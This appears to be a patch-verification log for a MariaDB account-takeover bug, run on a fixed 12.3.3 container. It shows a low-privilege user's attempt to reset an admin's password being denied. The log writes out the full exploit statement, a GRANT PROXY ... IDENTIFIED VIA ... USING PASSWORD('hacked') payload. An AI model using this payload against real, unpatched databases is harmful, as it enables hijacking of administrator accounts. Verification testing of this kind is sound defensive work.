### role=fixed attempt=1 image=mariadb:12.3.3 container=mdev40470-3728-fixed-1
[+] server ready: 12.3.3-MariaDB-ubu2404
--- setup (as root over TCP) ---
victim orig authentication_string: *5568327EF022DC1195F98DED43F0468BD7EA6FF2
expected PASSWORD('hacked') hash:    *43F422B78BE9A02900B231D67662A7DC2A7BF8C4
--- precondition: attacker has USAGE only ---
Grants for attacker@%
GRANT USAGE ON *.* TO `attacker`@`%` IDENTIFIED BY PASSWORD '*24A5E52C7C876A91A94EE6C328AE8F9D50E18099'
--- precondition: direct ALTER USER by attacker (must be denied) ---
--------------
ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x'
--------------

ERROR 1227 (42000) at line 1: Access denied; you need (at least one of) the CREATE USER privilege(s) for this operation
--- ATTACK (as attacker, USAGE only) ---
SQL> GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked');
--------------
GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked')
--------------

ERROR 1044 (42000) at line 1: Access denied for user 'attacker'@'%' to database 'mysql'
--- post-state (as root) ---
CREATE USER for victim_admin@%
CREATE USER `victim_admin`@`%` IDENTIFIED BY PASSWORD '*5568327EF022DC1195F98DED43F0468BD7EA6FF2'
--- takeover check: fresh TCP login as victim_admin with 'hacked' ---
ERROR 1045 (28000): Access denied for user 'victim_admin'@'127.0.0.1' (using password: YES)
--- negative check: fresh TCP login as victim_admin with 'wrongpw' (must fail) ---
ERROR 1045 (28000): Access denied for user 'victim_admin'@'127.0.0.1' (using password: YES)
--- negative check: fresh TCP login as victim_admin with 'origpass' ---
CURRENT_USER()
victim_admin@%
TAKEOVER=no RESISTED=yes